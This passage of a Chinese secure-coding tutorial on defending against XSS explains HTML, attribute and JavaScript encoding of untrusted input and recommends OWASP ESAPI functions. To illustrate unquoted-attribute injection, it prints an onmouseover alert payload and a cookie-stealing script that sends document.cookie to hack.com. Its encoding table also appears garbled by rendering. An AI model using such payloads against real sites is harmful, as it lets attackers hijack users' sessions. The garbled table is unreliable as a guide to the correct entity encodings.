您好,欢迎来到 - 67学习网 - http://www.67xuexi.com !

防御XSS的七条原则

摘要:< –> <> –> >” –> "‘ –> '/ –> /有两点需要特别说明的是: 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用: 1 String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(&ldqu
防御XSS的七条原则,标签:电脑安全教程大全,http://www.67xuexi.com

  <     –>     <

  >     –>     >

  ”     –>     "

  ‘     –>     '

  /     –>     /

  有两点需要特别说明的是:

  • 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
  • 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用

  推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:

1 String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”)); 

  原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

  这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。

1 2 3 4 5 6 7 8 9 10 11 <div attr=…插入不可信数据前,进行HTML属性编码…></div>   属性值部分没有使用引号,不推荐   <div attr=’…插入不可信数据前,进行HTML属性编码…’></div>   属性值部分使用了单引号   <div attr=”…插入不可信数据前,进行HTML属性编码…”></div>   属性值部分使用了双引号

  [编码规则]

  除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)

  之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:

  假设HTML代码是这样的:

  <div width=$INPUT> …content… </div>

  攻击者可以构造这样的输入:

  x onmouseover=”javascript:alert(/xss/)”

  最后,在用户的浏览器里的最终HTML代码会变成这个样子:

  <div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>

  只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:

  x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div

  除了空格符可以闭合当前属性外,这些符号也可以:

  %     *     +     ,     –     /     ;     <     =     >     ^     |     `(反单引号,IE会认为它是单引号)

  可以使用ESAPI提供的函数进行HTML属性编码:

1 String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”)); 

  原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

  这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:

  <script>

  var message = “<%= encodeJavaScript(@INPUT) %>”;

  </script>

  除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。

1 2 3 4 5 6 7 8 9 10 11 <script>alert(‘…插入不可信数据前,进行JavaScript编码…’)</script>   值部分使用了单引号   <script>x = “…插入不可信数据前,进行JavaScript编码…”</script>   值部分使用了双引号   <div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “</div>   值部分使用了引号,且事件处理属性的值部分也使用了引号

上一页  [1] [2] [3] [4]  下一页


Tag:电脑安全教程电脑安全教程大全电脑教程 - 电脑安全教程

《防御XSS的七条原则》相关文章